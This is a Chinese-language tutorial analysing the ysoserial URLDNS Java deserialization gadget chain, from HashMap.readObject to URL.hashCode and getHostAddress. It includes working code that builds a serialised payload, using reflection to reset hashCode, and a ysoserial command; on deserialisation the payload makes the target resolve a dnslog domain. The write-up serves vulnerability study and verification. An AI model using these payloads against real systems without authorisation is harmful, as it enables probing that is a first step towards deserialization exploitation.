文章目录
- URLDNS 链分析
- 调用链
- 复现
- 反序列化复现
URLDNS 链分析
URLDNS是ysoserial里面就简单的一条利用链,但URLDNS的利用效果是只能触发一次dns请求,而不能去执行命令。比较适用于漏洞验证这一块,而且URLDNS这条利用链并不依赖于第三方的类,而是JDK中内置的一些类和方法。
单独看URLDNS的利用链,ysoserial 的 URLDNS代码:https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java
复制到IDEA中,并导入ysoserial的jar包,当然也可以直接构建生成整个ysoserial项目,然后找到对应的java文件进行调试
打开 URLDNS.java ,利用链已经给出来了
* Gadget Chain:
* HashMap.readObject()
* HashMap.putVal()
* HashMap.hash()
* URL.hashCode()
入口类是 HashMap,触发点在hashmap的put方法
HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
来到hashmap的readobject中看到
这里使用了hash方法对key的值进行了处理,我们来跟踪一下hash这个方法看看他具体的实现
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
这里的key的是java.net.URL的实例对象调用了key的hashcode。再跟进一下他的hashcode方法。
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}
我们需要保证URL.hashCode
的值为null或-1 来绕过 hashCode != -1 。我们可以在序列化时利用反射来修改URL的属性,如下
CopyURL u = new URL(null, url, handler);
ht.put(u, url);
Reflections.setFieldValue(u, "hashCode", -1);
在hashcode方法中还调用了handler的hashcode。先来跟踪一下handler
发现调用了 getHostAddress 方法
查看文档
该方法会使用远程请求,进行获取主机的ip,那么这时候就会触发一次请求,到了这里我们的dnslog平台,就可以收到响应了。这就是这个URLDNS链的一个触发点。
调用链
HashMap.readObject() -> HashMap.putVal() -> HashMap.hash() -> URL.hashCode() -> URLStreamHandler.URL.hashCode() -> getHostAddress()
复现
HashMap hm = new HashMap();
URL u = new URL("http://rmjzhuhiqo.dgrh3.cn");
hm.put(u,1);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("hm.bin"));
oos.writeObject(hm);
yakit 开一个 dns 解析
反序列化复现
public class DeserializationExample {
public static void main(String[] args) {
try (ObjectInputStream ois = new ObjectInputStream(new FileInputStream("hm.bin"))) {
Person person = (Person) ois.readObject();
} catch (IOException | ClassNotFoundException e) {
e.printStackTrace();
}
}
}
不行,没有收到记录,其实就是因为 URL 的 hashcode 方法
当执行 hm.put(u,1);
也会触发 URL 的 hashcode 方法,第一次因为 hashcode 默认 -1 ,所以可以触发下面的方法,但是返回值赋给了 u 这个对象的 hashcode 再序列化 u。
所以反序列化的时候 hashcode 已经不是 -1 了。解决办法上面说了利用反射来修改URL的属性,不过那是 ysoserial 的方法,我们自己写着试一试
HashMap hm = new HashMap();
URL u = new URL("http://pyapvpowyh.dgrh3.cn");
Class cls = u.getClass();
Field f = cls.getDeclaredField("hashCode");
f.setAccessible(true);
f.set(u, 123);
hm.put(u,1);
f.set(u, -1);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("hm.bin"));
oos.writeObject(hm);
因为是 hashcode 私有制字段。所以选择 getDeclaredField ,setAccessible。
然后设置 hashCode 为 1234,这样put时 hashcode 不是默认的 -1 就不会走后面的逻辑而是直接返回 1234,所以 put 之后不会产生 dns 解析,然后我们设置 hashCode 为 -1,接着序列化 U,所以反序列化进入 hashCode 时 hashCode 为 -1,产生 dns 解析
或者我们直接 ysoserial 生成序列化链
java8 -jar ysoserial-all.jar URLDNS http://joxsspevvn.dgrh3.cn > bin.bin
public static void main(String[] args) {
try (ObjectInputStream ois = new ObjectInputStream(new FileInputStream("E:\\xxxx\\ysoserial\\bin.bin"))) {
URL u = (URL) ois.readObject();
} catch (IOException | ClassNotFoundException e) {
e.printStackTrace();
}
}